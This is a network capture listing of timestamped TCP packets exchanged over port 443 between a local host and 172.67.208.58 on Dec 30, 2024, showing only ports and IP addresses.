Dec 30, 2024 19:10:35.242248058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.242279053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.242284060 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.242307901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.242326021 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.242964029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379354954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379378080 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379476070 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379492998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379623890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379772902 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379789114 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379827976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379832983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379858017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379873037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.379961967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.379978895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380017996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380023003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380053997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380443096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380449057 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380459070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380485058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380507946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380523920 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380530119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380570889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380702019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380744934 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380759001 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.380764008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.380798101 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.381171942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.381241083 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.381258965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.381306887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.381313086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.381354094 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.383377075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.383580923 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.383601904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.383640051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.383645058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.383680105 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.383690119 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.384016037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.384038925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.384095907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.384108067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.384152889 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.385497093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533446074 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533469915 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533663988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533683062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533696890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533736944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533740044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533772945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533777952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533799887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533811092 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533900023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533926964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533960104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.533966064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.533997059 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534006119 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534140110 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534154892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534205914 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534210920 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534250975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534559011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534578085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534635067 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534640074 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534694910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534920931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534934044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.534991026 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.534996986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535037994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.535111904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535126925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535166025 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.535171032 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535197973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.535207987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.535393953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535408974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535455942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.535461903 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.535501003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.538403988 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622086048 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622114897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622174978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622185946 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622255087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622272015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622289896 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622303009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622359037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622364998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622415066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622781038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622802019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622863054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622868061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622903109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622910023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622915030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622944117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622962952 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.622968912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.622997999 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623028994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623090982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623104095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623162031 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623167038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623219013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623330116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623342991 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623394966 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623400927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623450041 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623755932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623769045 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623826027 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623831034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623869896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.623967886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.623982906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.624027967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.624033928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.624046087 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.624075890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.627098083 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.710841894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.710863113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.710942030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.710954905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711004019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711064100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711081982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711133003 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711138010 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711186886 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711204052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711400986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711437941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711462021 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711466074 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711493969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711505890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711574078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711604118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711626053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711632013 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711657047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711668968 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711791992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711805105 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711854935 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.711860895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.711904049 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.712163925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.712177038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.712234974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.712241888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.712285042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.713154078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713169098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713222980 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.713228941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713270903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.713341951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713361979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713406086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.713411093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.713458061 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.715581894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799422026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799446106 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799484015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799495935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799506903 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799536943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799788952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799830914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799856901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799863100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.799886942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.799913883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800048113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800061941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800095081 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800101042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800121069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800139904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800235987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800251961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800283909 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800287962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800312042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800329924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800590992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800612926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800649881 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800654888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800682068 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800694942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800867081 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800884962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800916910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800920010 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.800939083 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.800952911 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.801723957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.801738024 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.801799059 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.801803112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.801856995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.802026033 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.802046061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.802073956 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.802078009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.802099943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.802112103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.805042982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888139009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888161898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888225079 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888235092 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888276100 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888330936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888345003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888395071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888401031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888453960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888572931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888586998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888636112 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888638973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888679981 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888900042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888916016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.888967991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.888971090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889010906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.889271021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889288902 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889326096 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.889329910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889357090 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.889372110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.889512062 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889527082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889580011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.889585018 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.889651060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.890338898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890352964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890419006 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.890423059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890461922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.890562057 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890574932 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890605927 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.890609026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.890634060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.890647888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.892992973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.976748943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.976779938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.976861954 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.976875067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.976933002 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977006912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977058887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977070093 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977073908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977121115 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977225065 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977247000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977279902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977286100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977310896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977334976 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977437019 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977473021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977497101 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977500916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977521896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977560997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977694988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977718115 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977771997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977775097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.977788925 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.977809906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.978043079 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978061914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978099108 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.978101969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978132010 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.978157997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.978200912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978240967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978266001 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.978271008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.978291988 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.979327917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.979342937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.979398012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:35.979403973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:35.981792927 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067388058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067404985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067465067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067502022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067507029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067522049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067564011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067615032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067617893 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067631006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067646027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067673922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067677975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067703009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067755938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067775965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:36.067811012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:36.067815065 CET	443	49746	172.67.208.58	192.168.2.4
